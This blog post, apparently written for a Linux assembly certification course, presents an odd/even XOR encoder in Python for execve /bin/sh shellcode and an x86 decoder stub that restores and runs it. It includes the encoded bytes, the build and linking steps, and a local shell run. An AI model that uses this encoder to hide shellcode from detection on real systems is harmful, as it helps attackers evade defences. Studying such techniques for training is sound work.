Assignment #4

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: SLAE-1228

My idea for a custom encoder is very simple, in fact. In short, I broke the encoded shellcode in two parts: the even and odd positions. What this encoder does is reading the encoded string byte by byte and treating the bytes in odd and even positions differently. The biggest difficult was to create this decision making mechanism, which consists in two conditional jumps inside a loop. Depending whether it is an odd or even position, the current byte will be XORed with 0xAA or 0xBB.

Odd-Even XOR encoder

I used python3.5 for encoding the execve shellcode:

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

encoded = ""
encoded2 = ""

for idx, x in enumerate(shellcode):
    if idx%2 == 0:
        y = x ^ 0xaa
    else:
        y = x ^ 0xbb

    encoded += '\\x'
    encoded += '%02x' % (y & 0xff)

    encoded2 += '0x'
    encoded2 += '%02x,' %(y & 0xff)

print(encoded)
print(encoded2)

Generating the encoded shellcode:

$ python3.5 encoder.py 
\x9b\x7b\xfa\xd3\x85\x94\xd9\xd3\xc2\x94\xc8\xd2\xc4\x32\x49\xeb\x23\x59\xf9\x32\x4b\x0b\xa1\x76\x2a
0x9b,0x7b,0xfa,0xd3,0x85,0x94,0xd9,0xd3,0xc2,0x94,0xc8,0xd2,0xc4,0x32,0x49,0xeb,0x23,0x59,0xf9,0x32,0x4b,0x0b,0xa1,0x76,0x2a,

Odd-Even XOR decoder

After JMP-CALL-POP, we are inside the loop which runs over the whole encrypted shellcode (25 bytes). The first thing we do is checking whether the position index is even or odd and jump to the corresponding piece of code. After XORing the current byte of the encoded shellcode, it loops back to the decode label, continuing the loop.

global _start			

section .text
_start:
	jmp short call_shellcode

decoder:
	pop esi
	xor ecx, ecx
	mov cl, 25

decode:
	test cl, 1
	jz even   
	jnz odd
even:
	mov bx, [esi]
        xor bx, 0xBB
	mov [esi], bl

       inc esi
       loop decode
       jmp short EncodedShellcode
odd:
       mov bx, [esi]
       xor bx, 0xAA
       mov [esi], bl

       inc esi
       loop decode
       jmp short EncodedShellcode

call_shellcode:

	call decoder
	EncodedShellcode: db 0x9b,0x7b,0xfa,0xd3,0x85,0x94,0xd9,0xd3,0xc2,0x94,0xc8,0xd2,0xc4,0x32,0x49,0xeb,0x23,0x59,0xf9,0x32,0x4b,0x0b,0xa1,0x76,0x2a 

This is a CFG visualization of the decoder generated by IDA.

Decoder visualization

A small caveat

In order to be able to modify the encrypted shellcode (ie to substitute its bytes for the decrypted ones) we must remember it is located in the .text section which is not writable by default.

Lets assemble and link our decoder:

$ nasm -f elf32 decoder.asm -o decoder.o ; ld -m elf_i386 decoder.o -o decoder

Now we check sessions permissions using readelf:

$ readelf -S decoder
There are 5 section headers, starting at offset 0x1fc:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        08048060 000060 00004a 00  AX  0   0 16
  [ 2] .symtab           SYMTAB          00000000 0000ac 0000d0 10      3   9  4
  [ 3] .strtab           STRTAB          00000000 00017c 00005d 00      0   0  1
  [ 4] .shstrtab         STRTAB          00000000 0001d9 000021 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

Just confirming where our string is:

objdump -d decoder | grep EncodedShellcode
...
08048091 <EncodedShellcode>:
...

So yeah, in .text section, which is not Writable. To make it writable we need to link it with the -N parameter:

       -N
       --omagic
           Set the text and data sections to be readable and writable.  Also, do not page-align the data segment, and disable linking against
           shared libraries.  If the output format supports Unix style magic numbers, mark the output as "OMAGIC". Note: Although a writable
           text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

Therefore:

$ nasm -f elf32 decoder.asm -o decoder.o ; ld -N -m elf_i386 decoder.o -o decoder

Checking permissions:

$ readelf -S decoder
There are 5 section headers, starting at offset 0x1fc:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        08048060 000060 00004a 00 WAX  0   0 16
  [ 2] .symtab           SYMTAB          00000000 0000ac 0000d0 10      3   9  4
  [ 3] .strtab           STRTAB          00000000 00017c 00005d 00      0   0  1
  [ 4] .shstrtab         STRTAB          00000000 0001d9 000021 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

There we go, writable .text section!. Executing it:

$ ./decoder 
$ whoami
valle

Marcos Valle

Born to kill bugs. Live by them.